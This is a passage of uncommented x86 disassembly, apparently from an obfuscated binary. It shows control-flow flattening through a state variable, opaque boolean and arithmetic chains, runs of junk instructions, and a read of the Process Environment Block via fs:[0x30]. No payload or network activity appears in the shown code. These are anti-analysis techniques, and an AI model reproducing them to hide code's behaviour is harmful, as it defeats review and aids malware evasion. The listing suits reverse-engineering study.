and ah, 0xff
and al, dl
mov byte [ebp - 0x1062], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1061], al
mov al, byte [ebp - 0x1062]
and cl, dl
or ah, al
mov al, byte [ebp - 0x1061]
or al, cl
mov cl, byte [ebp - 0x1060]
xor ah, al
mov al, byte [ebp - 0x105f]
or cl, bl
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bl
or cl, dh
or dl, ah
xor cl, dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, dl
and ah, 0xff
and bh, dh
mov byte [ebp - 0x105e], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x105d], al
mov al, byte [ebp - 0x105e]
or ah, al
mov al, byte [ebp - 0x105d]
or bh, al
mov al, byte [ebp - 0x105c]
xor ah, bh
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ah, dh
or dl, ah
mov byte [ebp - 0x1059], dl
mov dl, 1
xor dl, 0
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ah, dl
and ah, 0xff
mov dh, bl
and dh, 0
mov byte [ebp - 0x105b], dh
mov dh, bh
and dh, 0xff
and al, bl
mov byte [ebp - 0x105a], al
mov al, byte [ebp - 0x105b]
or ah, al
mov al, byte [ebp - 0x105a]
or dh, al
mov al, byte [ebp - 0x1059]
xor ah, dh
mov dh, byte [ebp - 0x1058]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or ah, dl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
mov dl, 1
xor dl, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or dl, ah
or cl, 0
xor dl, 0xff
and dl, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov ah, 1
xor ah, 1
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 1
xor bh, 0xff
mov ah, 1
xor ah, 1
or cl, bh
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, dl
and ah, bl
xor dl, bl
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ah, bl
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bl
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x104f], al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov byte [ebp - 0x1052], cl
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or ah, al
mov byte [ebp - 0x1055], ah
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
mov cl, 1
xor cl, 0
mov bh, dl
xor bh, 0xff
mov bl, 1
xor bl, 1
or cl, bh
or bl, 1
xor cl, 0xff
and cl, bl
xor ah, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 1
or ah, bh
or bl, 1
xor ah, 0xff
and ah, bl
mov byte [ebp - 0x1053], ah
mov bl, dl
xor bl, 0xff
mov ah, dh
xor ah, bl
and ah, dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x1054], bl
mov bl, 1
xor bl, 0
mov bh, dh
and bh, 0
and al, bl
mov byte [ebp - 0x1057], al
mov al, byte [ebp - 0x1054]
and al, 0
mov byte [ebp - 0x1056], al
mov al, byte [ebp - 0x1057]
and cl, bl
or bh, al
mov al, byte [ebp - 0x1056]
or al, cl
mov cl, byte [ebp - 0x1055]
xor bh, al
mov al, byte [ebp - 0x1054]
or dh, al
mov al, byte [ebp - 0x1053]
xor dh, 0xff
or bl, 0
and dh, bl
or bh, dh
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x1052]
or ah, bh
or dh, bl
xor ah, dh
mov byte [ebp - 0x104e], ah
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ah, dh
and ah, 0xff
and al, bl
mov byte [ebp - 0x1051], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1050], al
mov al, byte [ebp - 0x1051]
and cl, bl
or ah, al
mov al, byte [ebp - 0x1050]
or al, cl
mov cl, byte [ebp - 0x104f]
xor ah, al
mov al, byte [ebp - 0x104e]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ah, dh
mov bh, ah
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and ah, dh
or bh, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x104d], dh
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and bh, dl
or dh, al
mov al, byte [ebp - 0x104d]
or bl, bh
xor dh, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov al, cl
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, cl
and al, dl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov dl, ch
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, dl
or al, cl
xor bl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, 1
xor al, 0
mov dl, bl
xor dl, al
and dl, bl
xor ch, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov cl, 1
xor cl, 0
mov al, dh
xor al, cl
and al, dh
mov byte [ebp - 0x104c], al
mov al, bh
xor al, 0xff
mov cl, ah
xor cl, al
mov al, byte [ebp - 0x104c]
and cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x104b], al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or al, bl
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x104b]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24b8bf7a
mov ecx, 0x44ff2c3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0x198]
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1c0], 0x52df660e
jmp 0x4b1f8e
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax + 0x80]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xa4]
xor eax, eax
sub eax, 0x95728120
add eax, 0xef57446
add eax, 0x95728120
add eax, 0x92369f3
sub eax, edx
sub eax, 0x92369f3
add eax, 0x278a44e5
sub eax, 0xef57446
sub eax, 0x278a44e5
xor esi, esi
sub esi, 0x29abb7c9
xor edx, edx
sub edx, esi
add edx, 0x9c896a14
sub edx, ecx
sub edx, 0x9c896a14
sub edx, 0x53bb43c9
sub edx, 0x29abb7c9
add edx, 0x53bb43c9
sub eax, 0x1ce96eed
sub eax, 0x271b7e78
add eax, 0x1ce96eed
xor ecx, ecx
sub ecx, edx
sub eax, ecx
xor ecx, ecx
sub ecx, 0x271b7e78
sub eax, ecx
xor edx, edx
sub edx, 0xf149bdaf
sub edx, eax
add edx, 0xf149bdaf
xor eax, eax
sub eax, 0
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov dword [eax], 0
mov dword [ebp - 0x1c0], 0x6070fc67
jmp 0x4b1f8e
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x1c0], 0x66ca5ff8
jmp 0x4b1f8e
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x1c0], 0x9e4e7195
jmp 0x4b1f8e
mov eax, dword [ebp - 0x144]
mov dword [eax], 4
mov dword [ebp - 0x1c0], 0x255fcf27
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x9d766889
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0xa7fa7204
jmp 0x4b1f8e
neg edx
not eax
rcl eax, 0xb7
mov esi, 0xce
not esi
bswap edi
and ebx, 0x25
inc ebx
or edi, 0x39
or esi, 0xa6
add edi, 0x2e
dec edx
add edx, 0xb5
inc edx
rcl edi, 0xfb
sub eax, 0xf6
imul edi
rol esi, 0x74
rcl eax, 0x60
not ebx
rcr edx, 0xdc
or ebx, 0x36
not esi
not eax
bswap edx
rcl edi, 0x69
bswap edi
bswap ebx
inc ebx
add esi, 0x14
ror ebx, 0xa7
dec eax
sbb ebx, 0xe5
bswap edi
neg esi
rol edi, 0xcc
or esi, 0x2e
mov eax, 0xd7
add ebx, 0xd1
bswap eax
imul edx
sbb edi, 0x28
sbb eax, 0xdf
rcl eax, 0x21
add edi, 0xd5
imul eax
rcl eax, 0xbb
not esi
inc eax
bswap eax
ror edx, 0x18
ror esi, 0x4e
inc ebx
mov eax, 0x7c
bswap ebx
rol eax, 0x64
and edx, 0x68
sbb esi, 0xee
neg edx
add eax, 0x12
bswap esi
neg eax
or esi, 0x6d
neg ebx
add ebx, 0xfb
bswap edi
add eax, 0x8a
ror eax, 0x5d
bswap eax
not esi
neg esi
imul edx
bswap edx
ror edx, 0x40
bswap ebx
inc esi
rcl esi, 0xa2
dec edx
imul ebx
rol ebx, 0x8a
mov ebx, 0x28
sub esi, 1
ror edi, 0xe9
not edi
not eax
sub edi, 3
rcl edx, 0xaf
rcr ebx, 0xa0
not edx
sbb esi, 0x7d
ror esi, 0xf8
neg ebx
dec esi
sbb edx, 0x86
neg esi
bswap eax
inc edi
inc edi
bswap edi
mov esi, 0x2e
dec esi
sub edi, 0x64
bswap esi
add esi, 0x3d
mov ebx, 0x27
imul eax
sub ebx, 0x1a
add ebx, 0xc5
sbb edi, 0x6a
sub esi, 0x28
neg eax
not edx
and edi, 0x88
not ebx
and edi, 9
or esi, 0xc3
sub edx, 0x9b
rcl edi, 0xe6
inc edx
not esi
inc ebx
rol edi, 0x5b
not ebx
add ebx, 0x1a
sub eax, 0x39
sub esi, 0xc6
neg esi
imul eax
dec ebx
sub esi, 0xc5
dec ebx
ror ebx, 0xe1
or esi, 0x9d
inc edx
rol ebx, 0x7d
rol esi, 0x3d
bswap edx
or esi, 0x47
sbb edi, 0xd6
inc edi
bswap edx
rcl esi, 0x12
sub ebx, 0x5b
dec eax
rcr edi, 0x6f
rcl edi, 0xb4
rol edx, 0x61
mov edi, 0xcd
ror edx, 0x3a
ror eax, 0x87
mov ecx, eax
mov eax, dword [ebp - 0x1b8]
mov dword [eax], ecx
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x1c0], 0x2c270d2
jmp 0x4b1f8e
jmp 0x4775f0